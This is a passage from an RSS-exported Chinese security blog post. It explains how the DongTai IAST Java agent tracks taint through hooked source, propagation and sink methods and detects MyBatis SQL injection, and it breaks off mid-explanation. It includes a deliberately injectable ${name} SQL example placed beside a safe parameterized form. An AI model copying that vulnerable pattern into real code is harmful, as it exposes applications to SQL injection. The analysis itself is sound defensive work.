0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[9]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">kubernetes攻防矩阵: <em><a href="https://developer.aliyun.com/article/765449" target="_blank">https://developer.aliyun.com/article/765449</a></em></p></span></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485243">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d096a926&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485243%26idx%3D1%26sn%3Daa937a2bbdba68c4002ad8f491d63e02%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 19 Oct 2022 17:53:00 +0800</pubDate>
    </item>
    <item>
      <title>浅析洞态iast产品</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485228&amp;idx=1&amp;sn=458ac9727f63f4cfb504c1efde062767</link>
      <description>背景之前的工作中我处理过一些洞态iast[1]的漏报误报案例,也逐渐了解这个项目。本文记录我对洞态iast基</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2022-09-30 12:25</span> <span style="display: inline-block;">北京</span>
</p>

<p>背景之前的工作中我处理过一些洞态iast[1]的漏报误报案例,也逐渐了解这个项目。本文记录我对洞态iast基</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d6133cb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFwyeCXsWiaYyeGsepmxeN9bYzenB9v9ia7u0YCsyYvxz7d4Er61ic25OLgLQnwwz0n6aSkNAE8n1UVbI7TPxcztcg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>背景</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">之前的工作中我处理过一些<span style="color: #1e6bb8;font-weight: bold;">洞态iast</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup>的漏报误报案例,也逐渐了解这个项目。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本文记录我对洞态iast基本原理的理解,<span style="letter-spacing: 0px;">内容包括：</span></p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">洞态做漏洞检测的原理</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">洞态中的污点是什么</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">源码分析java-agent的业务逻辑</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">举个例子：洞态怎么检测mybatis写的sql是否存在sql注入</section></li></ul></section><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>怎么做漏洞检测?</h1><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.33108677337826453" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2374" src="https://wechat2rss.xlab.app/img-proxy/?k=1b564e55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyeGsepmxeN9bYzenB9v9ia7JXbwyFWUkzHN5gUtibJf9AZrEv5PNGfC20twWOx6icsNzwBqmaibGKeUw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如上，用户可以在server端配置四类规则：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">污点源方法：是获取api、rpc请求信息的接口或者类签名,比如<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">javax.servlet.ServletRequest.getParameter(java.lang.String)</code></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">传播方法：是字符串拼接、编码等接口或类签名,比如<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">java.lang.String.&lt;init&gt;(java.lang.String)</code></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">危险方法：是高危函数,比如<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">javax.naming.Context.lookup(java.lang.String)</code></section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">源码中有三个重要的数据结构,<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TAINT_POOL</code>存放污点对象,<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TAINT_HASH_CODES</code>存放污点对象的hashCode值,<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TRACK_MAP</code>存放调用关系</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当代码执行到被hook的传播方法时,会根据用户配置的&#34;污点来源&#34;规则,拿到对象(一般是函数的某个参数)去<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TAINT_POOL</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TAINT_HASH_CODES</code>搜索匹配。如果能匹配上,就会根据用户配置的&#34;污点去向&#34;规则,生成污点对象并放到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TAINT_POOL</code>中,并将污点对象的hashCodes存放到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TAINT_HASH_CODES</code>中,最后将传播方法的调用关系存放到<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TRACK_MAP</code>。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当代码执行到被hook的危险方法时,和传播方法的逻辑比较类似,不过没有&#34;污点去向&#34;。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这里的&#34;污点&#34;是什么呢？</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>污点是什么？</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最重要的概念是对象的hashcode/identifyHashCode,hashcode/identifyHashCode作为数据的唯一跟踪方法会被加入到污点池中,也会被用来判断是否在污点池中。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">下面我带你通过一个我遇到过的误报案例来理解这个概念。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因为Java中相同字符串对象的hashcode/identifyHashCode是不变的,如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">String a = <span style="color: #98c379;line-height: 26px;">&#34;123&#34;</span>;<br/>String b = <span style="color: #98c379;line-height: 26px;">&#34;123&#34;</span>;<br/>System.out.println(System.identityHashCode(a));   // 1289696681<br/>System.out.println(System.identityHashCode(b));   // 1289696681<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所以有时候即使危险函数的参数完全不可控,也会报警。如下代码中的iast17接口之前会误报(现已修复),因为iast会认为<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">f.getName()</code>返回的字符串对象<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">123</code>是污点。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">@ResponseBody<br/>@RequestMapping(<span style="color: #98c379;line-height: 26px;">&#34;/iast17&#34;</span>)<br/>public String iast17(@RequestParam(<span style="color: #98c379;line-height: 26px;">&#34;name&#34;</span>) String name) {<br/>    ArrayList&lt;String&gt; a = new ArrayList&lt;&gt;();<br/>    a.add(<span style="color: #98c379;line-height: 26px;">&#34;123&#34;</span>);<br/>    a.add(name); // a对象会被标记成污点<br/>    Iterator&lt;String&gt; b = a.iterator();<br/>    System.out.println(b.next());<br/>    System.out.println(b.next()); // <span style="color: #98c379;line-height: 26px;">&#34;123&#34;</span>会被标记成污点<br/>    File f = new File(<span style="color: #98c379;line-height: 26px;">&#34;123&#34;</span>);   <br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> f.getName(); // 返回值<span style="color: #98c379;line-height: 26px;">&#34;123&#34;</span>被认为是可控的,会产生误报<br/>}<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5758564437194127" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1226" src="https://wechat2rss.xlab.app/img-proxy/?k=57274ee3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyeGsepmxeN9bYzenB9v9ia7icviaG61aw7X79nBE0dLS6dVmy45nicpaQkzruP4icqSwE00GvhvOBzGFw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">iast为什么会认为&#34;123&#34;是污点呢？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因为执行<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">a.add(name)</code>时,下面的传播规则会使得<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">a</code>对象变成污点<img class="rich_pages wxw-img" data-ratio="0.624133148404993" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1442" src="https://wechat2rss.xlab.app/img-proxy/?k=da58b80c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyeGsepmxeN9bYzenB9v9ia7ElWRg4b4hvdvfarEOX71lxt3mWtrwrzSMMqacEhWKt9l3ibgiazOUtZg%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在执行<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">b.next()</code>时,<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">iterator.next()</code>传播规则会让<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">123</code>字符串变成污点<img class="rich_pages wxw-img" data-ratio="0.41171875" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a9ccaed9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYyeGsepmxeN9bYzenB9v9ia7NHz3GKjBQCylhl1k5f6MVlvpbibiavnA1oiatjxYnzEWHJy2vZ3liaYDiaQ%2F640%3Fwx_fmt%3Dpng"/></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>流程浅析</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">collectMethodPool方法串联了&#34;最重要&#34;的业务流程。当java-agent启动时,会拉取server端规则,然后根据规则hook类,确保在被hook的方法执行前或者执行后能调用到collectMethodPool方法。在处理http请求时,collectMethodPool方法会判断当前是属于哪一类规则,并做对应的动作。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">你可以从java-agent启动时和请求过来时两个场景来看业务逻辑。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">java-agent启动时会找到所有jvm已经加载的类并重写字节码,如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">// <a href="https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/IastClassFileTransformer.java" target="_blank">https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/IastClassFileTransformer.java</a><span style="color: #5c6370;font-style: italic;line-height: 26px;">#L250</span><br/>public void <span style="line-height: 26px;"><span style="color: #61aeee;line-height: 26px;">reTransform</span></span>() {<br/>    ...<br/>    Class&lt;?&gt;[] waitingReTransformClasses = findForRetransform();    // 找到所有待重写的类<br/>    ...<br/>    <span style="color: #c678dd;line-height: 26px;">for</span> (Class&lt;?&gt; clazz : waitingReTransformClasses) {<br/>    ...<br/>          inst.retransformClasses(clazz);   // 用asm重新生成字节码<br/>    ...<br/>    }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因此实现了对污点源方法、传播方法、危险方法的hook,并且使得执行方法前或者执行方法后,调用captureMethodState方法。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">// 污点源方法: <a href="https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/core/adapter/SourceAdviceAdapter.java" target="_blank">https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/core/adapter/SourceAdviceAdapter.java</a><span style="color: #5c6370;font-style: italic;line-height: 26px;">#L26</span><br/>public class SourceAdviceAdapter extends AbstractAdviceAdapter {<br/>  ...<br/>  @Override<br/>  protected void after(int opcode) {<br/>      ...<br/>      captureMethodState(opcode, HookType.SOURCE.getValue(), <span style="color: #56b6c2;line-height: 26px;">true</span>);<br/>      ...<br/>  }<br/>// 传播方法: <a href="https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/core/adapter/PropagateAdviceAdapter.java" target="_blank">https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/core/adapter/PropagateAdviceAdapter.java</a><span style="color: #5c6370;font-style: italic;line-height: 26px;">#L31</span><br/>public class PropagateAdviceAdapter extends AbstractAdviceAdapter {<br/>  ...<br/>  @Override<br/>  protected void after(final int opcode) {<br/>      ...<br/>      captureMethodState(opcode, HookType.PROPAGATOR.getValue(), <span style="color: #56b6c2;line-height: 26px;">true</span>);<br/>      ...<br/>  }<br/>// 危险方法: <a href="https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/core/adapter/SinkAdviceAdapter.java" target="_blank">https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/core/adapter/SinkAdviceAdapter.java</a><span style="color: #5c6370;font-style: italic;line-height: 26px;">#L31</span><br/>public class SinkAdviceAdapter extends AbstractAdviceAdapter {<br/>  ...<br/>  @Override<br/>  protected void <span style="line-height: 26px;"><span style="color: #61aeee;line-height: 26px;">before</span></span>() {<br/>      ...<br/>      captureMethodState(-1, HookType.SINK.getValue(), <span style="color: #56b6c2;line-height: 26px;">false</span>);<br/>      ...<br/>  }<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">captureMethodState 最终会调用collectMethodPool方法</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">// <a href="https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/AbstractAdviceAdapter.java" target="_blank">https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/AbstractAdviceAdapter.java</a><span style="color: #5c6370;font-style: italic;line-height: 26px;">#L103</span><br/>protected void captureMethodState(<br/>        final int opcode,<br/>        final int hookValue,<br/>        final boolean captureRet<br/>) {<br/>    ...<br/>    invokeInterface(ASM_TYPE_SPY_DISPATCHER, SPY<span style="color: #d19a66;line-height: 26px;">$collectMethodPool</span>);<br/>    pop();<br/>}<br/>// <a href="https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/asm/AsmMethods.java" target="_blank">https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/asm/AsmMethods.java</a><span style="color: #5c6370;font-style: italic;line-height: 26px;">#L131</span><br/>Method SPY<span style="color: #d19a66;line-height: 26px;">$collectMethodPool</span> = InnerHelper.getAsmMethod(<br/>        SpyDispatcher.class,<br/>        <span style="color: #98c379;line-height: 26px;">&#34;collectMethodPool&#34;</span>,<br/>        ...<br/>);<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">请求过来时,就会执行到collectMethodPool方法,方法中根据hookType处理。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">// <a href="https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/handler/hookpoint/SpyDispatcherImpl.java" target="_blank">https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/handler/hookpoint/SpyDispatcherImpl.java</a><span style="color: #5c6370;font-style: italic;line-height: 26px;">#L462</span><br/>@Override<br/>public boolean collectMethodPool(Object instance, Object[] argumentArray, Object retValue, String framework,<br/>                                 String className, String matchClassName, String methodName, String methodSign, boolean isStatic,<br/>                                 int hookType) {<br/>    // hook点降级判断<br/>    ...<br/>    // 尝试获取hook限速令牌,耗尽时降级<br/>    ...<br/>    ...<br/>    MethodEvent event = new MethodEvent(0, -1, className, matchClassName, methodName,<br/>            methodSign, methodSign, instance, argumentArray, retValue, framework, isStatic, null);<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (HookType.HTTP.equals(hookType)) {<br/>        HttpImpl.solveHttp(event);<br/>    } <span style="color: #c678dd;line-height: 26px;">else</span> <span style="color: #c678dd;line-height: 26px;">if</span> (HookType.RPC.equals(hookType)) {<br/>        solveRPC(framework, event);<br/>    } <span style="color: #c678dd;line-height: 26px;">else</span> <span style="color: #c678dd;line-height: 26px;">if</span> (HookType.PROPAGATOR.equals(hookType) &amp;&amp; !EngineManager.TAINT_POOL.isEmpty()) {   // 处理传播方法<br/>        PropagatorImpl.solvePropagator(event, INVOKE_ID_SEQUENCER);<br/>    } <span style="color: #c678dd;line-height: 26px;">else</span> <span style="color: #c678dd;line-height: 26px;">if</span> (HookType.SOURCE.equals(hookType)) {  // 处理污点源方法<br/>        SourceImpl.solveSource(event, INVOKE_ID_SEQUENCER);<br/>    } <span style="color: #c678dd;line-height: 26px;">else</span> <span style="color: #c678dd;line-height: 26px;">if</span> (HookType.SINK.equals(hookType)) {    // 处理危险方法<br/>        SinkImpl.solveSink(event);<br/>    }<br/>    ...<br/>}<br/></code></pre><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>举个例子：怎么检测接口是否存在SQL注入风险？</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">后端服务用mybatis时,<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">${变量}</code>的sql写法容易造成sql注入,而<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">#{变量}</code>底层会使用预编译通常不会产生sql注入问题,如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">// 第一个sql：存在sql注入<br/>select * from user <span style="color: #e6c07b;line-height: 26px;">where</span> name=<span style="color: #d19a66;line-height: 26px;">${name}</span><br/>// 第二个sql：不存在sql注入<br/>select * from user <span style="color: #e6c07b;line-height: 26px;">where</span> name=<span style="color: #5c6370;font-style: italic;line-height: 26px;">#{name}</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当用户请求<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/user?name=admin</code>时,iast是怎么检查出第一种接口存在SQL注入风险,而不会对第二种接口误报呢？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">实际上如果我们调试一下,就知道<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">#</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$</code>的写法调用的sql接口是有区别的,如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">// 使用 <span style="color: #d19a66;line-height: 26px;">${name}</span>时<br/>conn.prepareStatement(<span style="color: #98c379;line-height: 26px;">&#34;select * from user where name=&#34;</span>admin<span style="color: #98c379;line-height: 26px;">&#34;)<br/>// 使用#{name}时<br/>pstmt=conn.prepareStatement(&#34;</span>select * from user <span style="color: #e6c07b;line-height: 26px;">where</span> name=?)<br/>pstmt.setString(1, <span style="color: #98c379;line-height: 26px;">&#34;admin&#34;</span>)<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">洞态iast默认有一个危险方法规则是<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: 